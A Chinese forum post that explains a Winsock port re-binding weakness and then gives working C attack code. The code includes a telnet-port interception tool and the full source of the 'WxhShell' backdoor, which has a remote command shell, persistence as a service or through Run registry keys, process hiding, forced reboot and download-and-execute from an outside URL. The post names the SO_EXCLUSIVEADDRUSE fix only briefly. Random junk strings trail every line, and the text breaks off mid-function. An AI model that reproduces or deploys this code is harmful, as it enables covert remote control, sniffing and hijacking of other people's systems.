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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,@N.v?p>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^Nav8dma  
7n;a_Z0s$  
  saddr.sin_family = AF_INET; ,gkWksl9  
h"2^` )!u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Tn3C0  
I;$tBgOWq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Skux&'N:  
bgInIe  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xw1,Wbu]  
K_N`My  
  这意味着什么?意味着可以进行如下的攻击: $x+ P)5)  
+@@( C9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bhZ5-wo4%  
( Y mIui>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @ <'a0)n>  
pFo,@M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8L@@UUjr  
AMK3I`=8WO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :}v:=ck  
RC/& dB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pG/g  
hH?ke(&=f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Mw;^`ZxT  
itO1ROmu  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~;wR}s<}(  
U[@B63];0  
  #include Z>'hNj)ju  
  #include xtXK3[s  
  #include LyNur8 Zi  
  #include    xz/G$7q7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   34vH+,!u  
  int main() baf@"P9@\A  
  { "9H#pj -  
  WORD wVersionRequested; 3\P/4GK)  
  DWORD ret; OadGwa\:s  
  WSADATA wsaData; &gvX<X4e  
  BOOL val; bgmOX&`G  
  SOCKADDR_IN saddr; a'\fS7aE0l  
  SOCKADDR_IN scaddr; OgyHX>}bH  
  int err; Fw"x4w  
  SOCKET s; A^ry|4`3(  
  SOCKET sc; n yd'79~>G  
  int caddsize; ?eR^\-e  
  HANDLE mt; MCfDR#a  
  DWORD tid;   lN::veD  
  wVersionRequested = MAKEWORD( 2, 2 ); p:|p?  
  err = WSAStartup( wVersionRequested, &wsaData ); N5fMMi(O  
  if ( err != 0 ) { 0OVxx>p/x  
  printf("error!WSAStartup failed!\n"); `ve5>aw0_Y  
  return -1; n11eJEtm  
  } }Q>??~mVl  
  saddr.sin_family = AF_INET; W#<ZaGsq  
   6q^.Pg-Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,W;2A0A?X  
fTA%HsvU:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }Xy<F?Mh  
  saddr.sin_port = htons(23); j&=!F3[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Aj2yAg  
  { rIF6^?  
  printf("error!socket failed!\n"); I!,FxOM|$  
  return -1; 9m_Hm')VG  
  } p%y|w  
  val = TRUE; B976{;QvXV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (K->5rSU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9.$k^|~  
  { k:kx=K5=4  
  printf("error!setsockopt failed!\n"); Ja#ti y  
  return -1; o8ADAU"  
  } H!dg(d^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PaYsn *{})  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4o*wLCo7^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *H,vqs\}y  
'0>w_ge4  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ibskce{H  
  { JN-wToOF  
  ret=GetLastError(); yGtGhP8  
  printf("error!bind failed!\n"); 2_lb +@[W  
  return -1; VKp4FiI6  
  } u >o2lvy8  
  listen(s,2); elf2!  
  while(1) p+ bT{:  
  {  \>*B  
  caddsize = sizeof(scaddr); =E''$b?Em  
  //接受连接请求 @'{m-?*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xA>O4S D  
  if(sc!=INVALID_SOCKET) Ks@  
  { 8P= z"y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `-L{J0xq  
  if(mt==NULL) oO8V0VE\  
  { }?jL;CCe  
  printf("Thread Creat Failed!\n"); I+]q;dF;  
  break; CPCjY|w7   
  }  Lx:O Dd  
  } #4e Taik  
  CloseHandle(mt); @] ` _+\y  
  } 0HRLTgIC  
  closesocket(s); VMZ"i1rP  
  WSACleanup(); i?&g;_n^  
  return 0; pIy+3&\e;  
  }   se1\<YHDS  
  DWORD WINAPI ClientThread(LPVOID lpParam) P=%' 2BQ{{  
  { \.tnzP D  
  SOCKET ss = (SOCKET)lpParam; X>`e(1`_O  
  SOCKET sc; q;p:)Q"  
  unsigned char buf[4096]; l |c#  
  SOCKADDR_IN saddr; OTNcNY  
  long num; 7]w]i5  
  DWORD val; y JJNr]oq  
  DWORD ret; pPNU0]/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s6|Ev IVM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q$NT>d6Q  
  saddr.sin_family = AF_INET; WML%yO\.;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); BuE=(v2}  
  saddr.sin_port = htons(23); e==}qQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9K\A4F}  
  { YM*{^BXp  
  printf("error!socket failed!\n"); GoK[tjb  
  return -1; y()7m/  
  } <lj;}@qQ<  
  val = 100; i1"4z tZ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QN!$41A?{  
  { Ov$_Phm:  
  ret = GetLastError(); #@QZ  
  return -1; bF5mCR:  
  } mlsM;A d2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gy+/P6  
  { VfK8')IXk  
  ret = GetLastError(); G(2(-x"+  
  return -1; 9U[ A   
  } <g SZt\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |2#)lGA  
  { UQmdm$.  
  printf("error!socket connect failed!\n"); LZirw'  
  closesocket(sc); Cy'0O>v5  
  closesocket(ss); |;XkU`G  
  return -1; 6  XZF8W  
  } {s8v0~  
  while(1) }IM*Vsk  
  { &Ff#E?Y4|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8[zux4<m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vhA 4ol  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z?NMQ8l|:6  
  num = recv(ss,buf,4096,0); K"%_q$[YQ  
  if(num>0) V&i/3g  
  send(sc,buf,num,0); 73b(A|kQ@  
  else if(num==0) 2$)xpET  
  break; @2>A\0U  
  num = recv(sc,buf,4096,0); MGt[zLF9  
  if(num>0) `1AVw] k  
  send(ss,buf,num,0); EDMuQu/D8  
  else if(num==0) =Oo=&vA.oc  
  break; sop *?0  
  } i%M6$or  
  closesocket(ss); O] T'\6w  
  closesocket(sc); Fj?gXc5{  
  return 0 ; &:K!$W  
  } #le1 ^ <w7  
4<j)1i=A  
2pKkg>/S  
========================================================== l70a&[W  
?pE)K<+Zkf  
下边附上一个代码,,WXhSHELL k0@b"y*  
4=BIYC"Lu  
========================================================== Ez\TwK  
_6y#?8RMB  
#include "stdafx.h" S.u1[Yz^  
aYJTSgW  
#include <stdio.h> ~pv|  
#include <string.h> b3'U }0Ug  
#include <windows.h> z( 00"ei  
#include <winsock2.h> %5?Zjp+9  
#include <winsvc.h> =tkO^  
#include <urlmon.h> Mj9Mv<io  
ZGa;'  
#pragma comment (lib, "Ws2_32.lib") /AT2<w  
#pragma comment (lib, "urlmon.lib") apz) 4%A  
@N tiT,3k  
#define MAX_USER   100 // 最大客户端连接数 t<F*ODn  
#define BUF_SOCK   200 // sock buffer S.4gfY  
#define KEY_BUFF   255 // 输入 buffer <"GgqyRzv  
,Y) 7M3I  
#define REBOOT     0   // 重启 >}"9heF  
#define SHUTDOWN   1   // 关机 q(Q$lRj/I-  
] I&l0Fx  
#define DEF_PORT   5000 // 监听端口 3xhGmD\SKO  
|~+i=y  
#define REG_LEN     16   // 注册表键长度 G!G]*p5  
#define SVC_LEN     80   // NT服务名长度 Y8%bk2  
h4 X=d5qd  
// 从dll定义API Z9)-kRQz=r  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ij=_h_nA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yhuzjn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DN$[rCi7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eBZ94rA]  
<n;9IU  
// wxhshell配置信息 |ee A>z"I  
struct WSCFG { GJ9'i-\*\  
  int ws_port;         // 监听端口 99KW("C1F  
  char ws_passstr[REG_LEN]; // 口令 D\4pLm"!v  
  int ws_autoins;       // 安装标记, 1=yes 0=no Os rHA  
  char ws_regname[REG_LEN]; // 注册表键名 "hbCP4  
  char ws_svcname[REG_LEN]; // 服务名 {%&!x;%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qexnsL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~WW!P_wI,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r.JM!x8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t+l{D#?a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pXhN?joe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6)h~9iK  
{0o ,2]o!:  
}; gb^<6BYUG  
!>8/Xz~-  
// default Wxhshell configuration 3nbTK3,  
struct WSCFG wscfg={DEF_PORT, .',d*H))E7  
    "xuhuanlingzhe", HOr.(gL!  
    1, '44I}[cA/  
    "Wxhshell", !^x;4@Ejm  
    "Wxhshell", i"h~QEE  
            "WxhShell Service", DUMC4+i  
    "Wrsky Windows CmdShell Service", wqasI@vyu  
    "Please Input Your Password: ", kZK1{  
  1, )4;$;a1  
  "http://www.wrsky.com/wxhshell.exe", 2)\g IMt%  
  "Wxhshell.exe" L2Z-seE  
    }; ,{jF)NQaP  
0PdX>h.t  
// 消息定义模块 $lAQcG&Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E5X#9;U8E"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1Xkl.FcFw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V2B: DIpr  
char *msg_ws_ext="\n\rExit."; iGw\A!}w\  
char *msg_ws_end="\n\rQuit."; *?x[pqGq  
char *msg_ws_boot="\n\rReboot..."; G Tz>}@W  
char *msg_ws_poff="\n\rShutdown..."; \B Uno6  
char *msg_ws_down="\n\rSave to "; qir8RPW  
Vwpy/5Hmp  
char *msg_ws_err="\n\rErr!"; q71V]!  
char *msg_ws_ok="\n\rOK!"; 3| F\a|N  
vduh5.  
char ExeFile[MAX_PATH]; b ~C^cM  
int nUser = 0; Rebo.6rG  
HANDLE handles[MAX_USER]; |6w {%xC?"  
int OsIsNt; la_FZ  
T5+ (Fz  
SERVICE_STATUS       serviceStatus; K}!YXy h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8.tp#x,A  
[g@ .dr3t  
// 函数声明 '&F Pk T:5  
int Install(void); K{`3,U2Wx  
int Uninstall(void); nq*D91Q  
int DownloadFile(char *sURL, SOCKET wsh); B18?)LA  
int Boot(int flag); im@c||  
void HideProc(void); s>a(#6Q  
int GetOsVer(void); hEfFMi=a`  
int Wxhshell(SOCKET wsl); %!V=noo  
void TalkWithClient(void *cs); Ta)6ly7'  
int CmdShell(SOCKET sock); wQrD(Dv(yA  
int StartFromService(void); AxiCpAS;J  
int StartWxhshell(LPSTR lpCmdLine); X~rHNRIU  
%^<A` Q_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )! C|DSw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U?yKwH^{  
o>ZlA3tv  
// 数据结构和表定义 m; m4/z3U  
SERVICE_TABLE_ENTRY DispatchTable[] = `I)ftj%  
{ m|cT)-  
{wscfg.ws_svcname, NTServiceMain}, 6ZwFU5)QE/  
{NULL, NULL} 4P$#m<;t  
}; '/K-i.8F  
m/>z}d05h  
// 自我安装 ~riV9_-  
int Install(void) x#&%lJT  
{ 2 NrMse  
  char svExeFile[MAX_PATH]; bhc .UmH  
  HKEY key; Jz'8|o;^  
  strcpy(svExeFile,ExeFile); eXsFPM  
% .n 7+  
// 如果是win9x系统,修改注册表设为自启动 :Y>M/ /0  
if(!OsIsNt) { nLv"ON~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _9Y7. 5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VS_xC $X!S  
  RegCloseKey(key); ziBg'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "N4rh<<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4?F7%^vr  
  RegCloseKey(key); <j$n7#qk  
  return 0; }Qo:;&"3  
    } +x"cWOg  
  } tr $~INe  
} ,6FmU$ Kn  
else { SUQk0 (M  
STH?X] /  
// 如果是NT以上系统,安装为系统服务 #{u>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e.:SBXZ  
if (schSCManager!=0) <!M ab}  
{ LV X01ox$  
  SC_HANDLE schService = CreateService :~1p  
  ( 56R)631]p  
  schSCManager, EO[UezuU  
  wscfg.ws_svcname, t!"XQ$g'  
  wscfg.ws_svcdisp, U~e^  
  SERVICE_ALL_ACCESS, BXf.^s{H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <M4Qc12jP  
  SERVICE_AUTO_START, |:?JSi0  
  SERVICE_ERROR_NORMAL, L?c7M}vV  
  svExeFile, NhDM h8=$^  
  NULL, eVYUJ,  
  NULL, ix=H=U]Q{  
  NULL, z<rYh96uA  
  NULL, @94_'i7\  
  NULL wEImpsC`  
  ); TdAHw @(  
  if (schService!=0) cNd2XQB9=  
  { %)K)h&m  
  CloseServiceHandle(schService); jGtoc,\X  
  CloseServiceHandle(schSCManager); m8|&z{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .RNr^*AQ  
  strcat(svExeFile,wscfg.ws_svcname); 6jIW)C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @fH?y Z=>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3 #zw Y  
  RegCloseKey(key); G 39  
  return 0; .7HnWKUV  
    } n./onv  
  } 96.A8o  
  CloseServiceHandle(schSCManager); J6H3X;vxQw  
} j aj."v  
} {bUd"Tu  
T&2aNkuG  
return 1; F+`DfI]/m  
} U-$ B"w&  
Us ]Uy|j  
// 自我卸载 dpBG)Xzoyv  
int Uninstall(void) %` c?cB  
{ S|8O$9{x9q  
  HKEY key; H:ar&o#(  
o 6$Q>g`]  
if(!OsIsNt) { |xTf:@hgHf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uxq!kF'Ls  
  RegDeleteValue(key,wscfg.ws_regname); ZU&I`q|Y6  
  RegCloseKey(key); aQ ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VvwQz#S  
  RegDeleteValue(key,wscfg.ws_regname); r"a4 ;&mf  
  RegCloseKey(key); SR#%gR_SC  
  return 0; Sdc;jK 9d!  
  } 1u\fLAXn  
} b|c?xHF}K  
} =W9;rQm  
else { LDL#*g  
x@I@7Pvo3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *R*Tmo"  
if (schSCManager!=0) y?-wjJS>  
{ Riq5Au?*)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =;{vfjj  
  if (schService!=0) K5Fzmo a  
  { Dg_/Iu>OAE  
  if(DeleteService(schService)!=0) { FU0&EO  
  CloseServiceHandle(schService); .cA[b  
  CloseServiceHandle(schSCManager); _4z>I/R>Z  
  return 0; cI3uH1;#  
  } AM}-dKei|  
  CloseServiceHandle(schService); $-VW)~Sl  
  } Vkex&?>v$  
  CloseServiceHandle(schSCManager); #(@dN+  
} +fzZ\  
} {M]m cRB(  
R|{6JsjG10  
return 1; .1MXQLy  
} \z8TYx@  
o([+Pp  
// 从指定url下载文件 &l%#OI}OE  
int DownloadFile(char *sURL, SOCKET wsh) Gq;0j:?CC  
{ J3Q.6e=7  
  HRESULT hr; K:P gkc  
char seps[]= "/"; $cH'9W}3K  
char *token; SZc6=^$  
char *file; n$}c+1   
char myURL[MAX_PATH]; lp?geav  
char myFILE[MAX_PATH]; 2:i`,  
NS=puo  
strcpy(myURL,sURL); THK)G2 =  
  token=strtok(myURL,seps); 33couAP#  
  while(token!=NULL) \J0gzi.  
  { +(r8SnRX  
    file=token; O" ['.b  
  token=strtok(NULL,seps); bQ0m=BzF  
  } (a`z:dz}  
"xS",6Sy  
GetCurrentDirectory(MAX_PATH,myFILE); .he%a3e  
strcat(myFILE, "\\"); vyqlP;K  
strcat(myFILE, file); (q*T.   
  send(wsh,myFILE,strlen(myFILE),0); Lc*i[J<s  
send(wsh,"...",3,0); Cb.~Dv !  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u&bo32fc  
  if(hr==S_OK) tTF/$`Q#*  
return 0; ctdV4%^{  
else {:od=\*R  
return 1; O|%><I?I  
s qac>v  
} b)$<aFl  
4<Bj;1*4  
// 系统电源模块 sEe^:aSN  
int Boot(int flag) 2}I1z_dq~  
{ ,+,""t  
  HANDLE hToken; GR O[&;d`  
  TOKEN_PRIVILEGES tkp; l4hC>q$T  
Thw E1M  
  if(OsIsNt) { gGe `w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .\{GU9|nO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WK /Byd.Z  
    tkp.PrivilegeCount = 1; FB6`2E%o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Jan73AOX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :%xiH%C>  
if(flag==REBOOT) { `IkWS7|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [P)HVFy|l  
  return 0; Po(9BRd7  
} ~naL1o_FZ  
else { CdatN$/*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :s$ rD  
  return 0; EmVE<kY .  
} <.s[x~b\`  
  } & 2>W=h  
  else { 5Ee%!Pk  
if(flag==REBOOT) { !m' lOz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @lDoMm,m'  
  return 0; D$I7 Gz,w{  
} _CciU.1k&,  
else { K.",=\53  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m:)v>vu  
  return 0; yWsN G;>  
} ;6U=fBp7<  
} qOV#$dkY  
2"c $#N  
return 1; 2j Oh~-LU  
} } R;.~F  
& LwR9\sh  
// win9x进程隐藏模块 L#M9!  
void HideProc(void) @'/\O-  
{ jL6u#0  
25::z9i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S c_*L<$  
  if ( hKernel != NULL ) F(Pe@ #)A  
  { S}cpYjnH8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =^|^" b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |Eu_K`  
    FreeLibrary(hKernel); 9.!6wd4mw  
  } wbyY?tH  
kBS;SDl)  
return; i"_)91RA  
} \&NpVH,-  
SWN i@  
// 获取操作系统版本 Yo/U/dB  
int GetOsVer(void) (/a2#iW  
{ N&]v\MjI62  
  OSVERSIONINFO winfo; [V|,O'X ~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cuO(*%Is1  
  GetVersionEx(&winfo); j#f+0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +?w 7Nm`  
  return 1; m.iCGX  
  else d(3F:dbk  
  return 0; me_DONW  
} nL%;^`*8  
D^baXp8  
// 客户端句柄模块 zH0%; o}  
int Wxhshell(SOCKET wsl) 9z$]hl  
{ W2D^%;mw  
  SOCKET wsh; AjKP -[  
  struct sockaddr_in client; J*o :RnB  
  DWORD myID; )@09Y_9r  
>6*"g{/  
  while(nUser<MAX_USER) #s$b\"4  
{ bY|%ois4  
  int nSize=sizeof(client); bW(+Aw=O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nd3=\.(P  
  if(wsh==INVALID_SOCKET) return 1; T]Gxf"mK  
6&M $S$y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F1J Sf&8  
if(handles[nUser]==0) dB+x,+%u+  
  closesocket(wsh); K QXw~g?  
else o,[~7N  
  nUser++; blNE$X+0|  
  } t j&+HC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qR4('  
h#'(i<5v  
  return 0; ]:i :QiYD  
} @=,2{JF*6  
z`qBs  
// 关闭 socket @[#U_T- I  
void CloseIt(SOCKET wsh) .j:.?v  
{ et(/`  
closesocket(wsh);  *Dtwr  
nUser--; u 'DM?mV:-  
ExitThread(0); #P.jlpZk  
} gYVk5d|8@4  
T=35?   
// 客户端请求句柄 eZ5UR014  
void TalkWithClient(void *cs) k@JDG]R<{  
{ 4d4le  
A`Q'I$fj  
  SOCKET wsh=(SOCKET)cs; mA}-hR%  
  char pwd[SVC_LEN]; 2  *IF  
  char cmd[KEY_BUFF]; Ug_5INK  
char chr[1]; MzT#1~  
int i,j; >8Wvz.Nq/  
*( YtO  
  while (nUser < MAX_USER) { pW7vY)hj  
)k01K,%#)  
if(wscfg.ws_passstr) { g66=3c9</6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WJ=DTON  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +]uW|owxo  
  //ZeroMemory(pwd,KEY_BUFF); qp 4.XL  
      i=0; biG=4?Xl  
  while(i<SVC_LEN) { TWYz\Hmw  
4)BZ%1+  
  // 设置超时 $T{,3;kt  
  fd_set FdRead; 9+"D8J7  
  struct timeval TimeOut; =MDir$1Z  
  FD_ZERO(&FdRead); [tsi8r =T  
  FD_SET(wsh,&FdRead); VvN52 qeL  
  TimeOut.tv_sec=8; Epj  
  TimeOut.tv_usec=0; "r @RDw   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "}Kvx{L8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 35z]pn%L  
(RG\U[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dQ?4@  
  pwd=chr[0]; Mm`jk%:%]  
  if(chr[0]==0xd || chr[0]==0xa) { vpXC5|9U  
  pwd=0; tagkklJ~  
  break; JL $6Fw;  
  } Y(GH/jw  
  i++; _Z+tb]  
    } }Uki)3(  
vF"<r,pg  
  // 如果是非法用户,关闭 socket ,\!4 A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;tTM3W-h  
} %<$CH],%  
j*f%<`2`j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -q' np0H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fgg^B[(Y  
j} XTa[  
while(1) { KK4>8zGR  
kRs[H xI3  
  ZeroMemory(cmd,KEY_BUFF); *I%r   
J XKps#,(#  
      // 自动支持客户端 telnet标准   R9&T0Qf  
  j=0; mE)65@3%  
  while(j<KEY_BUFF) { c_clpMx=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i@e.Uzn  
  cmd[j]=chr[0]; c:I1XC  
  if(chr[0]==0xa || chr[0]==0xd) { X<@ytHBv  
  cmd[j]=0; Sxf|gDC  
  break; 9qD/q?Hh$  
  } QT{$2 7;  
  j++; ya5a7  
    } 0h!2--Aur  
;5^ grr@,4  
  // 下载文件 Pd!;z=I  
  if(strstr(cmd,"http://")) { g`)3m,\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /{YUM~  
  if(DownloadFile(cmd,wsh)) WS9n.opl}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ L'8:  
  else 2!>phE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lz\{ X  
  } 5&7)hMppI  
  else { ,{ CgOz+Ul  
'KpCPOhfR  
    switch(cmd[0]) {  z:9  
  P]!$MOt  
  // 帮助 fI`T3Y!7  
  case '?': { 6yk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8B;`9?CI  
    break; -aG( Yx  
  } rMxst  
  // 安装 &=fBqod  
  case 'i': { /' L20aN2  
    if(Install()) z/ T|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RyD2LAf)J  
    else D}"\nCz}y&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QNFA#`H  
    break; ^T'+dGU`  
    } ~] Mq'  
  // 卸载 ~B>I?j  
  case 'r': { Z]$yuM  
    if(Uninstall()) 1j o.d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n-,~Bp [  
    else 8"wA8l.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kr8NKZ/  
    break; 7qon:]b4  
    } 0LoA-c<Ay  
  // 显示 wxhshell 所在路径 h 7kyz  
  case 'p': { GEA@AD=^f  
    char svExeFile[MAX_PATH]; 2t1WbP1  
    strcpy(svExeFile,"\n\r"); T7m rOp  
      strcat(svExeFile,ExeFile); b9EJLD  
        send(wsh,svExeFile,strlen(svExeFile),0); 6BW-AZc  
    break; 9^0 'VRG  
    } \ :})R{  
  // 重启 $>/J8iB  
  case 'b': { r-]R4#z>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |:!#k A  
    if(Boot(REBOOT)) PZLWyp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0J$wX yh  
    else { 4TG|  
    closesocket(wsh); F xFK  
    ExitThread(0); Uo^s]H#:  
    } b_V)]>v+  
    break; @pytHN8( $  
    } :KX/`   
  // 关机 z&<Rx[  
  case 'd': { VmBLNM?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SKLQAE5  
    if(Boot(SHUTDOWN)) 1b6gTfU  
